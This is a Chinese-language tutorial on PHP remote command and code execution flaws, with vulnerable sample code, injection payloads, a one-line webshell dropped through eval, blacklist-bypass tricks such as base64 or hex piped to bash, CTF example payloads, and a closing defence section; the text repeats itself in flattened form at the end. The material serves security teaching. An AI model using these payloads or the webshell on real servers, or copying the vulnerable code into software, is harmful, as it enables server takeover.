WEB常见漏洞之命令执行
字数 1527 2025-08-11 17:40:12

WEB常见漏洞之命令执行(RCE)漏洞详解与防御

0x01 漏洞概述

RCE(Remote Command/Code Execute)即远程命令执行/代码执行漏洞,允许攻击者直接向后台服务器注入操作系统命令或代码,从而控制后台系统。

0x02 漏洞实例分析

一、Ping命令注入漏洞

漏洞代码示例

$ip=$_POST['ipaddress'];
if(stristr(php_uname('s'), 'windows')){
    $result.=shell_exec('ping '.$ip); // 直接将变量拼接进来,未做处理
}else {
    $result.=shell_exec('ping -c 4 '.$ip);
}

漏洞利用

  1. 测试基本功能:输入127.0.0.1验证是否可以ping本地
  2. 尝试逻辑运算符利用(测试是否有过滤):
    • Windows/Linux通用逻辑运算符:
      • |:管道符,前面命令标准输出作为后面命令的标准输入
      • &:先运行命令A然后运行命令B
      • ||:运行命令A,如果失败则运行命令B
      • &&:运行命令A,如果成功则运行命令B
      • ;(Linux):执行完A执行B

Payload示例

  • 127.0.0.1|dir(Windows)
  • 127.0.0.1|ipconfig/all(Windows)
  • 127.0.0.1;ls -la(Linux)

二、eval函数代码执行漏洞

漏洞代码示例

if(isset($_POST['submit']) && $_POST['txt'] != null){
    if(@!eval($_POST['txt'])){
        $html.="<p>你喜欢的字符还挺奇怪的!</p>";
    }
}

漏洞利用

  1. 执行PHP代码:
    • txt=phpinfo();:显示PHP信息
  2. 上传后门木马:
    • txt=fputs(fopen('shell.php','w'),'<?php @eval($_POST["hack"]);?>');
  3. 使用中国蚁剑等工具连接后门

0x03 绕过技术

1. 空格绕过技术

  • <:重定向,如cat<flag.php
  • <>:重定向,如cat<>flag.php
  • %09:需要PHP环境,如cat%09flag.php
  • ${IFS}:如cat${IFS}flag.php
  • $IFS$9:如cat$IFS$9flag.php

2. 黑名单绕过技术

拼接绕过

  • a=c;b=at;c=flag;$a$b $c
  • a=c;b=at;c=heb;d=ic;ab{c}{d}

编码绕过

  • Base64:
    • echo MTIzCg==|base64 -d(打印123)
    • echo "Y2F0IC9mbGFn"|base64 -d|bash => cat /flag
  • Hex:
    • echo "636174202f666c6167" | xxd -r -p|bash => cat /flag

引号绕过

  • ca''t flagca""t flag
  • ca''t te""st.php

反斜杠绕过

  • ca\t fl\ag
  • cat te\st.php

3. 绕过例题示例

例题1

if(!preg_match("/flag|system|php|cat|sort|shell|i", $c)){
    eval($c);
}

Payload
?c=passthru("tac%09f*");

例题2(单行多命令执行):

$a=shell_exec("ping -c 4 ".$ip);

Payload
?ip=x;cat flag.php

例题3(截断绕过):

system($c . " >/dev/null 2>&1");

Payload
?c=cat f*%0a

0x04 漏洞防御

  1. 尽量避免执行外部命令:使用自定义函数或函数库代替外部命令功能
  2. 参数处理:使用escapeshellarg()函数处理命令参数
  3. 安全模式:使用safe_mode_exec_dir指定可执行文件路径
  4. 输入验证
    • 对用户输入进行严格过滤
    • 使用白名单机制限制允许的字符
  5. 最小权限原则:Web服务器应以最低必要权限运行
  6. 禁用危险函数:如eval()system()exec()

0x05 总结

RCE漏洞危害极大,可能导致服务器完全沦陷。开发人员应:

  1. 避免将用户输入直接拼接到系统命令中
  2. 使用安全的替代方案实现功能
  3. 实施多层防御措施
  4. 定期进行安全审计和代码审查

通过理解漏洞原理、掌握攻击手法并实施有效防御措施,可以显著降低RCE漏洞的风险。

WEB常见漏洞之命令执行(RCE)漏洞详解与防御 0x01 漏洞概述 RCE(Remote Command/Code Execute)即远程命令执行/代码执行漏洞,允许攻击者直接向后台服务器注入操作系统命令或代码,从而控制后台系统。 0x02 漏洞实例分析 一、Ping命令注入漏洞 漏洞代码示例 : 漏洞利用 : 测试基本功能:输入 127.0.0.1 验证是否可以ping本地 尝试逻辑运算符利用(测试是否有过滤): Windows/Linux通用逻辑运算符: | :管道符,前面命令标准输出作为后面命令的标准输入 & :先运行命令A然后运行命令B || :运行命令A,如果失败则运行命令B && :运行命令A,如果成功则运行命令B ; (Linux):执行完A执行B Payload示例 : 127.0.0.1|dir (Windows) 127.0.0.1|ipconfig/all (Windows) 127.0.0.1;ls -la (Linux) 二、eval函数代码执行漏洞 漏洞代码示例 : 漏洞利用 : 执行PHP代码: txt=phpinfo(); :显示PHP信息 上传后门木马: txt=fputs(fopen('shell.php','w'),'<?php @eval($_POST["hack"]);?>'); 使用中国蚁剑等工具连接后门 0x03 绕过技术 1. 空格绕过技术 < :重定向,如 cat<flag.php <> :重定向,如 cat<>flag.php %09 :需要PHP环境,如 cat%09flag.php ${IFS} :如 cat${IFS}flag.php $IFS$9 :如 cat$IFS$9flag.php 2. 黑名单绕过技术 拼接绕过 : a=c;b=at;c=flag;$a$b $c a=c;b=at;c=heb;d=ic;ab{c}{d} 编码绕过 : Base64: echo MTIzCg==|base64 -d (打印123) echo "Y2F0IC9mbGFn"|base64 -d|bash => cat /flag Hex: echo "636174202f666c6167" | xxd -r -p|bash => cat /flag 引号绕过 : ca''t flag 或 ca""t flag ca''t te""st.php 反斜杠绕过 : ca\t fl\ag cat te\st.php 3. 绕过例题示例 例题1 : Payload : ?c=passthru("tac%09f*"); 例题2 (单行多命令执行): Payload : ?ip=x;cat flag.php 例题3 (截断绕过): Payload : ?c=cat f*%0a 0x04 漏洞防御 尽量避免执行外部命令 :使用自定义函数或函数库代替外部命令功能 参数处理 :使用 escapeshellarg() 函数处理命令参数 安全模式 :使用 safe_mode_exec_dir 指定可执行文件路径 输入验证 : 对用户输入进行严格过滤 使用白名单机制限制允许的字符 最小权限原则 :Web服务器应以最低必要权限运行 禁用危险函数 :如 eval() 、 system() 、 exec() 等 0x05 总结 RCE漏洞危害极大,可能导致服务器完全沦陷。开发人员应: 避免将用户输入直接拼接到系统命令中 使用安全的替代方案实现功能 实施多层防御措施 定期进行安全审计和代码审查 通过理解漏洞原理、掌握攻击手法并实施有效防御措施,可以显著降低RCE漏洞的风险。